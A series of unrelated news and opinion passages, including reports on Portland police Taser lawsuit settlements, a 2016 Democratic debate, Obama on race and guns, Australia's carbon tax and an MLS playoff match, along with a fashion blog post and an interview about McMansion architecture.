One man's back was to the officer when he was shot with no warning, an arbitrator found based on witness statements, although the officer said she had shot him in the stomach.
Both men were charged with misdemeanors ranging from interfering with police to harassment. Separate juries cleared both of them and some charges were dismissed.
The officers violated bureau policy by using the Taser against people who were "passively resisting," according to testimony from the criminal trials and civil depositions. But no discipline was issued.
Portland attorney Matthew McHenry represented both men in their lawsuits.
"These cases exemplify why law enforcement needs new and better training on Taser use," McHenry said. "They both struck me as a case in which the Taser was used against people who were not a threat."
Portland's current policy -- which allows police to use a Taser when someone physically resists or displays the intent to physically resist – is more permissive than other cities' and model guidelines. The city auditor's office has recommended a more restrictive policy.
A federal appeals court ruled in December that police can be held liable for using a stun gun against an unarmed person who poses no immediate threat. Deputy City Attorney Dave Woboril said that Portland's current guidelines on Taser use are not precise enough and need to be improved to better guide officers.
In late January, the city paid $81,766to settle a federal civil rights suit filed by Hung Minh Tran, a commercial insurance broker, against Officer Jennifer Thompson.
The settlement came after a stinging rebuke from an arbitrator, who found that the officer's sworn testimony conflicted with that of four witnesses and Tran.
"Officer Thompson denies deploying her Taser against Tran while he was on his knees, facing away from her, but based upon the testimony of several witnesses, I find that she did," arbitrator Alan Bonebrake wrote, adding she deployed probes into Tran's back.
"This was unnecessary, unreasonable and an excessive use of force," he wrote. Tran proved he was deprived of his civil rights from the use of the Taser, assault and Thompson's negligence, the arbitrator found.
The encounter between Tran and Thompson happened Nov. 24, 2007 when the officer responded to the report of a woman assaulted at the Cheerful Tortoise bar, near Portland State University.
When Thompson arrived, the victim and her boyfriend were outside. As the officer was talking to them, Tran stepped out of the bar. The boyfriend accused some of Tran's friends of being involved in the assault, and two began arguing.
Thompson ordered Tran back into the bar. Tran admitted that at first he refused in order to defend his friends, who the boyfriend claimed were involved. "He says it wasn't me. It wasn't my friends, then goes back in," Tran's attorney told jurors.
The officer testified that Tran pushed her and then went inside. She followed to arrest him. Thompson said Tran struggled and knocked her into a stack of chairs.
Tran testified that he didn't know who was grabbing him from behind, and he struggled to get away. When he realized it was a police officer, he said he complied with Thompson's requests and she dragged him back outside. He said the officer knocked him into the chairs.
Once outside, the officer's account drastically differed from Tran and witnesses.
Tran said Thompson was giving him confusing commands, such as go against the wall, back up against the wall, and back away from the wall. He didn't understand what she wanted so he did what he's seen on TV: got down on his knees, with his hands locked behind his head, facing away from her, "so I'm not a threat."
"I did not ever see a Taser. I was not warned about a Taser," Tran testified. "All I remember is getting Tased in the back, and I didn't know where that was coming from."
At the trial, he showed photos of bruises to his back. Police didn't take photos.
Thompson wrote in her report that once outside with Tran, she pulled her Taser. In her deposition, she said she probably did not warn Tran she was going to fire it, as policy requires. Her report said Tran had his hands up in the air, saying "OK, OK."
"After the physical contact, twice pushing me, I decided to pull my Taser to get some compliance because he wasn't complying with me physically. It wasn't specifically at that second. It was everything to that point."
Not until her cross-examination did Thompson say anything about drawing her Taser, reholstering it and accidentally firing probes into her holster when she reached to draw it out again. Thompson testified she probably didn't put the safety on. She testified that Sgt. Cory Roberts told her to leave the accidental discharge out of her report since it wasn't used against Tran then.
She said she then used the stun gun against Tran's stomach and handcuffed him.
As a result of their encounter, Thompson never talked to a witness who saw the bar assault she was sent to investigate.
McHenry, who also represented Tran during his criminal trial, argued that Thompson lied on the stand. "She Tased him against her training, and she's trying to cover for that," he told a jury, who acquitted his client of disorderly conduct and interfering with an officer.
Woboril said police managers are aware of the settlement.
In her deposition, Thompson said she received a de-briefing from then–Central Precinct Sgt. Kyle Nice. (A police review board this month found he acted inappropriately for drawing his firearm during an off-duty road rage encounter.)
In a confidential memo Nice wrote to then-Precinct Cmdr. Mike Reese, he said the Tran case had caused Thompson anguish, she had reviewed it and would learn from it.
Woboril said he didn't know if police internal affairs has reviewed the case. If not, the city's "tort review group will certainly look at that result and see if the bureau needs to open one up."
Last spring, the city paid out $56,306 to settle a federal suit brought by Christophe Clay, 24, against Officer John Hughes and Michelle Tafoya.
Also on Nov. 24, 2007 coincidentally, Clay had gone to the Game Crazy store in North Portland to buy an XBOX 360 controller. After an argument with a clerk, Clay asked the manager for the business' corporate number. The business called police.
Officer Michelle Tafoya arrived and saw Clay walk out of the store. She immediately shouted commands and pointed her Taser at him. Officer John Hughes, who responded next, drew his Taser as well. Clay, both said, had his hands on his head.
Hughes testified that he told Clay to go to his knees and turn away from them. Clay got to his knees, kept his hands on his head and turned sideways to the police. "I said they can come and arrest me," Clay said.
Because Clay would not put his face to the ground or turn fully away from police, Hughes fired his Taser at him twice. Police also threatened to Taser Clay's friend who was videotaping them. Police said having a suspect lie face to the ground allows for a safer approach for officers.
At Clay's criminal trial, Hughes acknowledged Clay was passively resisting, not moving toward him, not reaching for anything. When questioned by Clay's criminal defense attorney Stephanie Engelsman, Hughes admitted he violated bureau policy.
"I don't think there was any dispute dramatically as to what Clay was doing at the moment he was Tasered," said deputy city attorney Scott Moede, who represented the officers in the civil suit.
Clay said he sued Tafoya because she started the encounter "yelling at me like a mad person," without ever trying to talk, and Hughes for shooting him.
"I shouldn't have to sue to look for justice," Clay said.
The city settled these cases, and no discipline followed. The plaintiffs' attorney isn't surprised.
"That's why we have to file these cases because that's the only way there's any type of satisfaction," McHenry said.
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I don’t know exactly when my style solidified. The signs were all there early on: In high school, there was an extra-fuzzy angora sweater here, a pair of shoulder-dusting gold earrings there. In college, I thrifted constantly, keeping an extra eye out for items with sequins or giant shoulder pads. Over the years, several gargantuan gold necklaces in the shapes of bejeweled panthers and seagulls quietly appeared in my jewelry box. I thought nothing of it.
So it was not until two years ago, well into my adulthood, that I understood my whole…Look. I went to a party, and it happened that a girl I vaguely knew thought I was flirting with her boyfriend (I was not). Meaning to embarrass me, she said in a loud voice, “Oh, wow, I like your outfit so much, it’s so weird! You always look like like someone on the set of The Golden Girls, you know? Like a rich retired lady in Florida, haha.”
Friends, I know she meant to insult me, but…I have never been so flattered in my life. That’s me, I thought, blushing not with embarrassment, but with total pride. This girl sees what I’m going for! Finally, someone had named the way I put together outfits. Why hadn’t I realized it all along?
I often dress like a corny rich grandma on a cruise, and it is really, really fun. Grandmas have style. If you’ve ever hung out in a place with a lot of older ladies at once, you know their sartorial flair can be so good it almost physically wounds you as they walk by. My nana, for instance, is 90 and lives in Phoenix, and she and her friends go to yoga class and In ’N’ Out Burger and senior movie matinees every day dressed to KILL. They were raised in a more formal time, when, as Nana says, “People dressed up just to go to the corner store.” Because of this, most grandmas know a thing or two about dressing to impress, color coordination, and statement pieces, and they’ve rocked their particular looks…for decades. TEACH US YOUR WAYS, GRANDMAS.
These lessons are valuable to even the youngest among us, so try them out yourself! Why not? It’s summer and this style is all about looking like you’re on vacation—and it can look so fresh and unexpected on someone way younger (say, a solid 50 years younger) than a grandma! Let’s get cruisin’!
When it comes to Retired Resort Wear™, almost anything goes! There are just a few (and only a few) guidelines for pulling off your whole look so hard that other people fall at your feet begging you to take them thrifting next time you go. Here they are:
A.G.E: All Gold Everything
Grandmas relaxing and living in warmer climates wear gold. BIG GOLD. Period. Fake or real, shiny or matte, think of gold as the signature metal of this look, the must-have that links (ha) your whole outfit together. Bonus points if you can get your claws on something gold that is whimsically shaped like something else, such as an animal, flower, or everyday object. Sure, many grandmas wear silver jewelry, but we are rich grandmas on a cruise. For us, it’s gold or nothin’. When in doubt about whether your gold jewelry is cruise-worthy, think, Would a small child want to grab this necklace/play with these earrings? If the answer is yes: Great, you’re dressed.
Go Big or Go Home
Think of the biggest hat you own. Now mentally triple its size. That is the scale of the accessories we are looking for with our Retired Resort Wear. Giganticize everything—outlandish beach hats, enormous jewelry (especially around the wrists and neck), huge straw bags you could fit a toddler in, and HUMONGOUS sunglasses. Big hair? Oversized and obvious shoulder pads? Of course! The bigger the better!
’80s and ’40s—Thank You, Lordy
The ’80s and ’40s were very very good decades for Retired Resort Wear. The 1940s gave us drape-y elegance, peek-a-boo rompers, tropical prints, wicker handbags, and black-and-white movies where starlets cavorted in the surf in exotic locales. The ’80s gave us excess—huge gold jewelry, huge hair, huge shoulder pads, huge amounts of wild color. If you’re thrifting or shopping for vintage (or vintage-inspired) pieces, keep the ’80s and ’40s in the back of your mind as your Decade Style Guides. These were some of the years when our grandmas truly outdid themselves when getting dressed, and they’ve been expanding on what they mastered back then ever since.
Get Loud
The corny rich grandma on a cruise is not subtle. She practically hits you over the head with her here-for-the-party! aura. She delights in showing a bit more skin than strictly necessary—you might catch gold chains tumbling into a very low-necked shirt, or see a large swath of back in an open-backed ’n’ breezy shirt. She does not shy away from color—she swims in color, especially vivid reds, oranges, turquoises, greens, and purples. She appreciates and cultivates a collection of large, bold prints—animal print! Big tropical flowers splashed onto a solid background! Colorblocking, warm-up and jogging suits in brilliant hues, and hot pink or red lipstick to match—or clash!—with your outfit!
Tiny polka dots, dainty jewelry, nude lipstick, and subtle flower prints?
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I'll offer three candidates for economic guidance: James Robertson, Vince Cable and Dr Adrian Wrigley.
When Larry Elliott, Caroline Lucas and team were putting together the Green New Deal, they would have done well to look back to James Robertson's 1994 New Economics Foundation publication, Benefits and Taxes. Vince Cable is an obvious choice, not only for his grasp of the problems, but also for his ability to get others to open their eyes too. In particular, I include him for his leadership in advocating counter-cyclic fiscal measures, such as land value taxes. Adrian Wrigley of the Systemic Fiscal Reform Group has picked up Robertson's 1994 work and got stuck into the task of how to implement this. I've not yet seen anything to match his proposals for unwinding the mess in a way that helps all and prevents a re-occurrence down the line.
Cllr Neale Upstone
Lib Dem, Cambridge
Jackie Ashley (22 December) points out the importance to poorer communities of a Royal Mail with a public service ethos. But Royal Mail and its network of 12,000 post offices also form a vital economic driver. The sorting offices network - now being cut back - generates local money flows through jobs and local business support. Post Offices have a huge impact on small businesses, which make up 59% of our entire UK business enterprise sector. NEF research shows that for every £10 earned in income, the post office generates £16.20 for its local economy - including £6.20 in direct spending on local goods and services. Also, on average, each post office contributes about £310,000 to the local economy each year, of which £120,000 is direct spending on local goods and services. Finally, post offices save small businesses in their direct vicinity in the region of £270,000 each year.
It is baffling that the government ignores the vital economic role that the Royal Mail already plays, as well as its vast untapped potential, in its continuing adherence to discredited notions of privatisation equalling efficiency.
Dr Stephen Spratt
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Hillary Clinton and Bernie Sanders met in Brooklyn Thursday night for the latest debate of the presidential season. The two Democrats have grown increasingly confrontational in recent weeks, as Sanders has run up a streak of electoral victories but has largely failed to shrink Clinton’s pledged delegate lead. Sanders has questioned whether Clinton is “qualified” to be president. Clinton, meanwhile, has repeatedly mocked an interview Sanders gave to the New York Daily News, arguing that it showed a lack of understanding of key issues.
Here are some of the highlights from Thursday’s debate.
Fireworks over who’s qualified to be president. The debate immediately turned quarrelsome. CNN’s Wolf Blitzer opened with a question about whether Sanders stands by his attacks on Clinton’s qualifications. “Does Secretary Clinton have the experience and intelligence to be president? Of course she does,” Sanders said. “But I do question her judgment. I question a judgment which voted for the war in Iraq, the worst foreign policy blunder in the history of this country.” Sanders also said he was concerned about Clinton’s judgment when it comes to her past support for controversial trade deals and the assistance she is receiving from super-PACs.
“Senator Sanders did call me unqualified,” Clinton shot back. “I’ve been called a lot of things in my life. That was a first.”
Clinton doesn’t want to talk about her Wall Street speeches. During the debate, CNN moderator Dana Bash tried to pin down Clinton on why she has so far refused to release the transcripts of paid speeches she gave to Goldman Sachs. “If there’s nothing in those speeches that you think would change voters’ minds,” Bash asked, “why not just release the transcripts and put this whole issue to bed?”
Clinton did everything she could to dance away from answering the question—even after repeated follow-up questions. “There are certain expectations when you run for president,” Clinton said. “This is a new one. And I’ve said, if everybody agrees to do it—because there are speeches for money on the other side [from the Republican candidates]. I know that.” Clinton then tried to change the topic, criticizing Sanders for not yet releasing his tax returns. (Sanders responded by promising to release them soon.)
Not a laughing matter. Throughout the campaign, Clinton has used Sanders’ record of opposing gun control measures to attack him from the left. Thursday’s debate was no different. When the moderators teed up a question for her about Sanders’ stance on the issue, Clinton grew solemn—while Sanders nervously laughed at the question. “It’s not a laughing matter,” Clinton said, sternly rebuking her opponent. “Ninety people on average a day are killed or commit suicide or die in accidents from guns, 33,000 people a year. I take it really seriously because I have spent more time than I care to remember being with people who have lost their loved ones.”
Clinton comes out for a $15 minimum wage, of sorts. While Sanders has been quite clear about his stance on the minimum wage—he wants it to be $15 per hour, nationwide—Clinton has offered a more nuanced take. She’s recently praised places such as New York and California that have bumped up their minimum wage to $15. But last summer, she said she’d rather set the national floor at $12 while allowing individual states and cities to enact higher minimums.
On Thursday, Clinton said she’d be willing to sign a $15 per hour minimum wage bill if Congress passed one—but she also said she’d still initially push for $12. “If you look at it,” she said, “we moved more quickly to $15 in New York City, more deliberately toward $12, $12.50 upstate, then to $15. That is exactly my position. It’s a model for the nation and that’s what I will do as president.”
A tussle over the ’94 crime bill. The 1994 crime bill—signed by Bill Clinton, advocated by Hillary Clinton, and voted for by Sanders—has become a major issue in the current campaign. Two decades after the law passed, critics have faulted it for helping expand the country’s system of mass incarceration. When asked whether she wanted to apologize for the crime bill, Clinton said, “I’m sorry for the consequences that were unintended and that have had a very unfortunate impact on people’s lives.” She also noted that her first speech of the campaign focused on criminal justice reform. “I want white people to recognize that there is systemic racism,” she said. “It’s also in employment, it’s in housing, but it is in the criminal justice system, as well.”
That didn’t seem good enough for Sanders. When the moderators turned to him and asked why he had recently criticized Clinton’s use of the term “superpredator” when the crime bill was debated in the ’90s, Sanders didn’t mince words. “Because it was a racist term, and everybody knew it was a racist term,” Sanders said.
U.S. President Barack Obama holds a news conference after participating in the NATO Summit in Warsaw, Poland July 9, 2016. REUTERS/Jonathan Ernst
Obama spoke at the end of a week in which five policemen were killed by a sniper in Dallas and two black men were killed by police in Minnesota and Louisiana. He said he would bring together civil rights and law enforcement leaders for talks at the White House next week after returning from a trip to Europe.
Obama, the first black U.S. president, has spoken out on racial issues throughout his time in the White House. He has also tried but failed to reform American gun laws, stymied by Republicans in Congress who have opposed any measures that they seen as impinging on the Constitutional right to bear arms, despite a series of mass shootings in recent years.
Obama said the Dallas police force reduced murder rates and community complaints by taking the issue of race and police conduct seriously, and said he hoped that would inspire “constructive actions” in the coming weeks.
“That’s the spirit that we all need to embrace. That’s the spirit that I want to build on,” he said during a press conference in Poland.
But the divisive issue of gun control could not be separated from the tension between police and local citizens, he said.
Obama noted that Dallas police on Thursday had to protect themselves and citizens from sniper fire while deciphering who had guns among those taking part in a protest decrying police shootings of black men.
The presence of a gun in the car where Philando Castile, 32, was killed by police in Minnesota on Wednesday contributed to that event, he said.
“In Minneapolis, we don’t know yet what happened, but we do know that there was a gun in the car that apparently was licensed, but it caused, in some fashion, those tragic events,” Obama told reporters.
“We can’t just ignore that and pretend that that’s somehow political ... it is a contributing factor – not the sole factor – but a contributing factor to the broader tensions that arise between police and the communities where they serve.”
Obama is very unlikely to succeed in reviving major gun control reform before he leaves office in January.
Lawmakers in Congress have fought over three rival gun measures since the June 12 mass shootings at a gay nightclub in Orlando. Democrats promised to put pressure on Republicans next week to win votes for measures to expand background checks and allow the Justice Department to block gun sales to people on government watch lists.
Related Coverage Gun in Minnesota car may have contributed to events there: Obama
Obama said on Saturday he hoped his legacy on the issue of race would be one of urging Americans to listen to each other and understand the country’s difficult relationship with race.
“The legacy of slavery and Jim Crow and discrimination didn’t suddenly vanish with the passage of the Civil Rights Act or the Voting Rights Act or the election of Barack Obama,” he said.
To fully appreciate McMansion Hell — Kate Wagner’s biting and hilarious blog skewering those “ugly houses that became ubiquitous before (and after) the bubble burst” — one needs to understand McMansions. To understand McMansions, one needs look no further than Wagner’s McMansion scale, aka the 10 Circles of McMansion Hell. The graphic is representative of the blog as a whole: aesthetically lo-fi, but thoroughly considered; accessible to laypeople, but clearly created by someone read up in architectural theory.
courtesy of Kate Wagner / McMansion Hell
Wagner is a 23-year-old grad student researching acoustics at Johns Hopkins. Anyone familiar with her blog — primarily real estate listings annotated with her chastening commentary — will recognize the colloquial efficiency of the categorizations she’s created. For the sixth circle of McMansion Hell: “House is ok, garage is not.” Circles eight through ten: “More roof than house.” Circles seven through ten: the all-caps “TURRET.” (Turrets, like columns, excessive roof lines, and illogical windows are common objects of Wagner’s disdain.)
It’s a satisfying explainer for those who hate these sprawling suburban houses but maybe haven’t been able to articulate why, but it’s also genuinely educational. Spliced between photos calling out excessive windows in New Jersey (“scream holes”) and useless status symbols in Delaware (“what is the point of tray ceilings SERIOUSLY though”) are primers on architectural history and theory, and a regularly updated master list of further reading. It honestly might be your new favorite blog.
I got Wagner on the phone and talked about the driving (angry) passion behind McMansion Hell — where her interest began, how these houses became ubiquitous, and why she’s totally fine with tearing them apart.
courtesy of Kate Wagner / McMansion Hell
Tell me a bit about the background of McMansion Hell.
Kate Wagner: I started the blog in July 2016, basically because there weren’t really any good ugly house blogs. I didn’t think anybody was going to pay any attention, but then I wrote this piece on the blog called Why McMansions Are Bad Architecture and it kind of went viral. I don’t know how, but it did, and then suddenly I started getting tens of thousands of people following my Tumblr. I’m in the middle of putting together a book proposal and working as a writer for several other publications, so this sort of kickstarted a career for me, which is really awesome, honestly. I’m really grateful that it happened.
It seems, as a reader, that an important factor of your success is that you’re obviously really knowledgeable about what you’re talking about. You’re able to point out, to people like me who might not know why these houses are so off-putting, what exactly makes this kind of architecture and design bad. That’s something you study, right?
KW: I study architectural acoustics at the Peabody Conservatory at Johns Hopkins. My thesis is a taxonomy of concert halls. I’m trying to get a PhD so I can write a book about concert halls.
Have you always been interested in architecture and the functionality of design?
KW: Yeah, ever since I was a little kid. I rode the bus in North Carolina — in Southern Pines, which is about an hour south of Raleigh — and my sister and I were the first ones to get on the bus at 6:30 in the morning, and the last to get off in the afternoon. The whole time I was looking at houses and trying to picture the lives of people who came out, trying to see how the houses were different from each other, and being really fascinated with the ones that were a little funny looking. I was an HGTV junkie as a kid. I loved watching Candice Olsen on “Divine Design”; I was always really into “House Hunters.” I started writing about postmodern architecture in high school, for classes but also privately. That was the easiest way for me to get into architectural theory. Now my horizons are a lot broader, but honestly, reading Learning From Las Vegas in high school was what got me interested in the idea of writing about architecture from a theory standpoint.
The blog is so funny, but there is real, evident anger behind it. What bothers you about what you’re seeing?
KW: First of all, I hate the wastefulness of it. You don’t need that much space. These houses are just so horribly constructed; they’re huge energy sinks, part of a completely unsustainable lifestyle, which is also driven by the car and the isolation of suburbia and exurbia.
Then, the pretentiousness of it. It’s appropriating architectural languages of the past, like certain types of columns, in order to denote an appeal to authority, architecturally. By putting columns on your front door, it’s saying you have the same amount of power as an institution like a bank or government office. We’ve codified certain symbols as symbols of wealth. But that started a long time ago, and it’s a whole other can of worms. Now, though, the cheapness of the material — there’s an irony there for me. It’s making this bold statement of wealth, but you can’t afford to do it with good stuff.
Also just the roof lines bother me the most. [Laughs.] They make no sense, and they’re huge, and they’re at so many different pitches, and anyone who knows anything about roofs knows the more complicated the roofs are, the more likely they are to leak. Can you imaging re-roofing a house like that, after ten or twelve years? It would cost more than buying a new house.
courtesy of Kate Wagner / McMansion Hell
Looking through the pictures on your posts, you start to realize how consistent these markers are. Like, I’d never noticed how many windows are on these houses. How could you need so many windows? What are some of the elements you see again and again?
KW: Usually the roof lines are the number one. The windows not matching, or there being too many windows, or windows in illogical places. That’s pretty common. The use of foam architectural detailings. I don’t know how trendy this stuff is; it was pretty trendy in the 2000s, but some of it has gone a little out of style. Vinyl siding is pretty much out of style now, but that was a marker.
I honestly think it’s the size of the houses. The two-story entryway. They’re not scaled at all to the human being. For me to stand in front of this house would make me feel so small, and I think that’s part of the point. They’re not homey, because they’re just so huge.
All of these things are sort of codified throughout the blog. I devised a scale of how McMansion-y something is based on certain architectural features, as a way to taxonomize. That no one has really done so is interesting to me. I wouldn’t say it’s vernacular architecture — which is designed and built by the people who would use it — because there are huge corporations, lots of industry, money, lobbying involved. But it is uneducated. There’s so much American housing that hasn’t been studied in any sort of academic way, and of course the blog is not the way to examine that, but it’s part of a greater research project of mine, which is to document the changes in American housing in the last 40 years, architecturally and economically and sociologically.
The tagline of the blog describes these homes as coming before the bubble burst. Can you talk a little about the economic environment that led to this surge of McMansions?
KW: I think the financial crisis and McMansions — there’s no causation. It’s all correlation. When markets are good, people build houses that are huge. That’s why the average housing square footage has gone up yet again this year. When markets are good, people buy huge houses, and they’re not going to stop until that way of life is no longer sustainable financially, which means we run out of oil.
What happened with the financial crisis is that because of the riskiness of the loans that were being lent at the time, you saw more people borrowing more money than they could afford, to build houses that were too big for what they needed. They were risky assets the entire time.
You’ve looked at different countries on the blog, but this aesthetic does kind of feel specific to the U.S. Is that real, or do I just think that because I’m here?
KW: I’m only now starting to study the McMansions of other countries because there’s so much to study in my own country that I could never run out of material, but I think the main differences are in size. In Canada, the house are just a little smaller. They’re still ugly and stupid, but they’re not quite as huge. Australia, for at least a couple years, had larger house sizes than the U.S. But also it’s hard to navigate the real estate listings there so it’s hard for me to get a bigger picture of the what the average is for those areas. Since I haven’t been to those places, I can’t get as good of a feel of how their suburban landscape is different from ours. But I plan on visiting eventually.
courtesy of Kate Wagner / McMansion Hell
Could you identify states here that are the worst offenders?
KW: Oh yeah. If I’m just like, oh, I need to find a good McMansion right now, my go-to places are northern Virginia, southern Maryland, the D.C. suburbs. New Jersey — all of it. The whole thing. I find some pretty heinous ones in the southeast in general. Marietta, Georgia, is particularly horrible. Colorado’s pretty bad. Texas, always. Texas ’til the end of time.
That makes sense, everything bigger in Texas.
KW: Texas is particularly horrible.
Have you had to deal with angry or offended readers?
KW: I’m still waiting for someone to be like, “That’s my house!” but no one has yet.
That’s good.
KW: No one’s ever even been like, “You’re wrong. I hate this, and you’re wrong.” Which is hilarious, because I totally expected that to happen, since the internet is evil.
You are in a sort of rare position to not be getting hate for something you’re doing on the internet — which is probably a good sign. Do you ever feel bad, though, about tearing apart these places which has been or will someday be someone’s home? Or is it more like, listen, make a better house and I won’t make fun of it.
KW: It’s not like it’s a witch hunt. I’ll include the city or the county, but I never link to the real estate listing. I try to be vague about the square footage and the price so people can’t just look it up. I try to give them privacy in that way. But I think that I don’t particularly feel bad because the people who build these houses obviously have enough wealth where they don’t really need to care, honestly. I don’t want to be deciding factor between someone buying a house or not buying a house, but at the same time, these houses are so exorbitant and so stupid that I feel like they’ve already been sitting on the market forever, and nothing I say is going to change the fact that they’re not really wanted. They’re just so huge and so expensive and so bad. But also I just don’t feel bad at all, really. (Laughs.) There’s a reason I don’t crap all over apartment complexes, because people live where they can afford to live. But at a certain point you’re not living where you can afford to live; you’re living in excess.
courtesy of Kate Wagner / McMansion Hell
Do you see a reversal in the trend? It feels like people are embracing minimalism, but that might just be my own urban bubble.
KW: In architecture, yeah. You see the tiny house trend, and younger people tend to do less. I read somewhere that my generation and the generation before care more about experiences than assets. Their idea of having a good life is doing things like traveling and living in the city rather than having a huge house and a nice car and all of the things that for so long was the sort of American ideal. Technology also changes things. When you live in a world with such pervasive technology, which in some ways is erasing borders, there’s no room for tribalism or any of the things that keep us locked in one place. So I think minimalism is definitely appealing to the financial situations of young people who are saddled with debt, or it’s appealing to people who get more from doing things than from having things.
But still, people ask me all the time if the McMansion is going to die, and I know Business Insider wants it to die so bad and I appreciate them, but it’s not. Fewer people are buying old, but more people are building new. That’s sort of what’s emerged as the trend.
There will always be people who want a huge house.
“This will raise more awareness because the situation in Syria is dangerous, especially for Christians,” said Wael Salibi, a Christian Syrian who moved to Italy in September to flee the violence.
“Christians know they will rise again like Jesus did on the third day, but only with a lot of unity and by praying together,” Salibi told CNA in a March 26 interview.
Pope Francis will celebrate the Way of the Cross at the Coliseum on Friday evening, a solemn tradition that takes place by candle light every year.
Benedict XVI asked Cardinal Bechara Boutros Rai to choose a group of Lebanese to write the 14 meditations for the Way of the Cross and to supervise them.
His wish was to raise awareness and increase prayers for the Arabic Christians living in the Middle East, following his visit to Lebanon in September 2012.
“Christians are facing very serious problems and the Lebanese lived (with) the aftermath of their civil war for many years, so they understand,” said the 25-year-old Syrian.
The meditations focus on ongoing violence in the Middle East and Christian disunity, as well as the abuse of women and children and the promotion of abortion.
Six of the reflections were written by representatives from the six rites of the Catholic Church in Lebanon: Latin, Maronite, Melkite, Armenian, Syriac and Chaldean.
The remaining eight were composed by six different Catholic youth groups, a special needs group and a non-governmental organization.
“When rebels turned the Homs neighborhood of Hamadea into a battlefield about a year ago, 80,000 Christians were forced to leave,” Salibi recounted.
And in his estimation, the Lebanese “live in a volcano ready to erupt any time.”
“When Cardinal Bechara Boutros Rai visited Syria in February, he left a strong message of how important it is for Christians in the Middle East to unite,” said Salibi.
His visit to Syria was the first by the head of the Maronite Church since Lebanon gained independence from France in 1943.
“Muslims and Christians lived side by side, like a rainbow, but people are now being forced to leave their country and this is making the region lose its uniqueness,” said Salibi.
“Christians play a very important role there since they make a bridge between the East and the West and between Islam Shiites and Sunnis,” he added.
“Poor policy processes tend to lead to poor policy outcomes, writes Dr. Alex Robson, economist at Australia’s University of Brisbane, for the Institute for Energy Research, which opposes a carbon tax. “Australia’s carbon tax experience provides a number of important lessons in how not to go about implementing sensible climate change policy.”
According to Robson, Australia’s one-year old carbon tax increased taxes on 2.2 million people in the country and has not actually decreased the country’s carbon emissions — which won’t fall below current levels until 2043.
The tax is the highest in the world, set at about $24 per metric tons of carbon, and applies directly to about 370 businesses in the country. Robson found that a year after the tax was enacted electricity prices had risen 15 percent, including the biggest quarterly price increase in the country’s history.
Furthermore, 19 percent of the typical Australian household’s electricity bill is due to the tax and other “green” programs in the country. Taxing carbon may have also impacted the job market, as unemployment shot up by 10 percent after its implementation.
Australia’s carbon tax has become a political hot potato and even the Labor government –which enacted it — is looking to appease those impacted by the tax. The government announced in July that the country would move swiftly from a tax to an emissions-trading system in an effort to bolster support for Labor.
“The government is moving in this direction because a floating price takes cost-of-living pressures off Australian families and still protects the environment and acts on climate change,” Labor Prime Minister Kevin Rudd told reporters. “We have still got a fair bit of budget work to do, as this has to be a budget-neutral undertaking.”
The push to move to an emission trading scheme ahead of 2015 came after reports came out that businesses and hospitals were being burdened with high power costs.
News Limited Network reported in March that the carbon tax was contributing to a record 10,632 businesses that faced insolvency in 2012 — up from 10,481 for 2011.
The Herald Sun reports that Victoria provincial hospitals forked over an extra $6.1 million for energy costs in only six months due to the carbon tax — payments to which ranged from 8 percent of hospitals’ total energy costs to 22 percent.
However, the Liberal Party fired back, arguing that the Labor government’s emissions trading plan was a carbon tax with a different name.
“Rudd can change the name but whether it is fixed or floating, it is still a carbon tax,” said Liberal-National leader Tony Abbott, who pledged to get rid of the tax entirely if he is elected.
The Institute for Energy Research-backed study also comes as U.S. policymakers openly discuss the possibility of imposing a carbon tax as a way to pay down the deficit and cut carbon dioxide emissions, which Democrats and environmentalists say cause global warming.
“[T]he promises of those calling for a ‘pro-growth’ U.S. carbon tax have been have been proven to be utterly false in Australia: Its carbon tax came with income tax increases and fewer jobs as well as more command-and-control energy regulations,” writes the Institute for Energy Research’s Dr. Robert Murphy.
“The debate over a carbon tax is now not just one of theoretical speculation; proponents need to explain why the U.S. outcome would be different from what actually happened in Australia,” Murphy added.
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From there, Montreal’s midfield took over and its top playmakers had one of their most dominant performances of the season.
Matteo Mancosu added a pair of goals and the Impact completely dominated D.C. United for a 4-2 victory in the knockout round of the MLS Cup playoffs Thursday night.
Ignacio Piatti also scored for Montreal, which hosts the New York Red Bulls in the Eastern Conference semifinals on Sunday. The Red Bulls won the regular season series 2-1 with both victories coming at home.
"We knew that D.C. was playing well, they have a lot of confidence and rhythm scoring goals at home," Montreal coach Mauro Biello said. "It was important for us to establish our shape early and not give them space. We were able to control different moments of the game with our midfield."
Montreal forward Didier Drogba, who scored 10 goals in 22 games this season, was not in the lineup because of a back injury. However, Drogba posted on social media that he attended the game, noting that he was a few minutes late because of traffic around Washington, D.C. area.
Drogba has a chance to get back in the lineup against the Red Bulls, according to Biello.
"The game Sunday could be more realistic for him," Biello said. "If he’s healthy, he will be available."
The Impact pressured D.C. United early and that proved to be an effective game plan. Ciman was unmarked inside the penalty and one-timed a cross from Marco Donadel’s corner kick for a 1-0 lead.
"If you give up a goal against them, you’re in trouble." D.C. United coach Ben Olsen said. "Because they counterattack as good as anybody in the league."
Mancosu received the most attention from the defenders as the sole striker and embraced that role. Mancosu got behind D.C. United’s defence in the 22nd minute on a headed pass by Donadel, but his low shot to the far post rolled just wide.
Even with the lead, the Impact continued to attack, which kept D.C. United out of sync and mired in its defensive third of the field.
Defender Hassoun Camara ran past a defender inside the penalty area in the 37th minute but he could not get his shot on goal. However, Mancosu did not miss five minutes later when he scored from close-range on a cross from Piatti for a 2-0 lead.
"I am feeling a little tired," Mancosu said through a translator. "I’ll take two days to recuperate well and be ready for Sunday."
The Impact outshot D.C. United 9-5 in the opening half.
D.C United pushed more players forward after the break and nearly cut the margin on a full volley by Nick DeLeon in the 49th minute. Montreal played more conservatively in the second half with 10 players behind the ball and relied mostly on counter-attacks.
"We knew when they were down 2-0, it was going to be hard for them," Donadel said.
Mancuso added his second goal on a cross by Ambroise Oyongo in the 58th minute. Mancuso, who came to the Impact on loan from Italian club Bologna in July, has five goals in 16 games with the Impact.
"He was fantastic," Biello said about Mancuso. "He brings experience to our team and he’s really found his rhythm and has adapted well to the team."
D.C. United’s best chance came in the 64th minute when Rob Vincent got one-on-one with Impact goalkeeper Evan Bush, but his shot hit the side of the net. From there, though, the Impact stayed in full control and Piatti added his team’s fourth goal in the 83rd minute.
D.C United finally got on the board in the final minutes on goals by Lamar Neagle and Taylor Kemp that gave the sparse crowd of 12,773 a reason to cheer.
The Federal Constitutional Court had ruled on Friday that the Munich court handling the trial must grant access to foreign media after no Turkish journalists had been able to obtain accreditation under a first-come, first-served application procedure.
